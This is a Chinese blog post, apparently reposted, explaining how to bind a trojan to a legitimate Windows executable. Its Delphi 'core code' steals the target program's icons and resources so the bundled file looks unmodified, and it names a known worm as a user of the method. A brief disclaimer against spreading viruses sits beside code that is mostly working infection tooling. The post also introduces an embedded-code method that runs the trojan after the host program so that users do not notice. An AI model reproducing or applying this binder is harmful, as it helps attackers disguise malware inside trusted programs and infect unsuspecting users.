文件捆绑感染(一)

来源:互联网 发布:淘宝客怎么设置推广 编辑:程序博客网 时间:2024/06/08 08:40
 【摘要】
最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式 
第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马
然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是: 
 可以捆绑任何程序
缺点是: 
 运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢
实现方法:(Demo下载
如果不改变图标,实现方法是非常简单的。
用文件流的方式 把目标程序写在木马程序后面 
这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错
(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标
和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)
请勿用于病毒传播,这里只贴出核心代码

【全文】

 

function Align(Size, AlignBase: integer): Integer;
begin
 if Size mod AlignBase <> 0 then
  Result := (Trunc(Size / AlignBase) + 1) * AlignBase
 else
  Result := Size;
end;

procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
  I:integer;
  DosHeader: TImageDosHeader;
  NTHeader: TImageNtHeaders; {NtHeader}
  dRead: DWORD;
begin
   SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
   ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
    //非PE 退出
   if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
   SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
   ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
    //非PE 退出
   if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

   SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
   for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
   begin
     ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
     if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
     begin
       SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
       SetLength(AStream, ASectionHeader.SizeOfRawData);
       ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
       Exit;
     end;
   end;

end;

function StripHighBit(L: Longint): DWORD;
begin
  Result := L and $7FFFFFFF;
end;

function HighBitSet(L: Longint): Boolean;
begin
  Result := (L and $80000000) <> 0;
end;

function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
  Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
            BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;

function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry;
begin
  Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
             BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;

function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
  I: Integer;
  ResourceDirectoryEntry:PImageResourceDirectoryEntry;
  Data: PImageResourceDataEntry;    
begin
  Result := True;
  ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
                            + SizeOf(TImageResourceDirectory));
  for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
  begin
      if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
      begin
       {目录递归调用,把下级的资源列出来}
        FixRsrc(PImageResourceDirectory(StripHighBit(
                ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
                BaseEntry, OldVA, NewVA);
      end
      else
      begin
        {资源}
        Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
        //修正RVA
        Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA; 
      end;
      inc(ResourceDirectoryEntry);
  end;
end;

function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var  
  F,F1,F2: THandle;
  dRead: DWORD;
  fsDes, fsSrc, len, i, lastPos, oldSize: integer;
  pRsrc,LoadStream: PStream;
  DosHeader: PImageDosHeader;
  NTHeader: PImageNtHeaders; {NtHeader}
  pSH,pSectionHeader: PImageSectionHeader;
  SectionHeader: TImageSectionHeader;
  Section: PSections;
  fectStream : TResourceStream;
begin
  Result := '';
  pRsrc := nil;
  //打开需要感染的目标文件 
  F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  try
    if F = INVALID_HANDLE_VALUE then
    begin
      Result := '打开目标文件失败!';
      Exit;
    end;     
    //获取目标程序的资源文件
    GetRsrcStream(F, pRsrc, SectionHeader);
    //如果没有资源文件则退出
    if pRsrc = nil then
    begin
      Result := '读取目标文件资源失败!';
      Exit;
    end;

    //读取附加程序流
    fectStream := TResourceStream.Create(HInstance,'exe','exetype');
    try
      fsSrc := fectStream.Size;
      SetLength(LoadStream, fectStream.Size);
      fectStream.ReadBuffer(LoadStream[0], fectStream.Size);
    finally
      fectStream.Free;
    end;

   DosHeader := PImageDosHeader(LoadStream);
   NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);
   pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader
   Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项
   for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do
   begin
     //比较是否是指定的节名,如“.rsrc”
     if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then
     begin
       oldSize := pSectionHeader^.SizeOfRawData;
       //修正资源大小
       pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;
       pSectionHeader^.Misc := SectionHeader.Misc;  
       break; //找到了,则退出
     end;
     Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)
   end; 
    //修复资源
   if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),
                   SectionHeader.VirtualAddress,
                   pSectionHeader^.VirtualAddress) then Exit;    

   NTHeader^.OptionalHeader.DataDirectory[2].Size :=  SectionHeader.Misc.VirtualSize;
   NTHeader^.OptionalHeader.SizeOfImage :=
      + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);

    F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
    try
      if F1 = INVALID_HANDLE_VALUE then
      begin
        Result := '创建新文件失败!';
        Exit;
      end;
      F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      try
        if F2 = INVALID_HANDLE_VALUE then
        begin
          Result := '读取目标文件失败!';
          Exit;
        end;

        fsDes := GetFileSize(F, nil);
        Section := PSections(@LoadStream[$70]);
        Section^.GUID := $58585858;
        Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);
        fsSrc := GetFileSize(F2, nil);
        Section^.FirstSize := fsSrc;
        Section^.LastOffset :=  Section^.FirstOffset + fsSrc;
        Section^.LastSize := fsDes;
        //写入头部文件
        WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);
        WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);
        repeat
          ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
        SetFilePointer(F, 0, nil, FILE_BEGIN);
        repeat
          ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
      finally
        CloseHandle(F2);
      end;
    finally
      CloseHandle(F1);
    end;
  finally
    CloseHandle(F);
    SetLength(LoadStream, 0);
    SetLength(pRsrc, 0);
  end;

end;


第二程度方式 就是将代码内嵌到目标程序。
也同样有缺点优点
优点是
 首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉
缺点是
 只能感染部分程序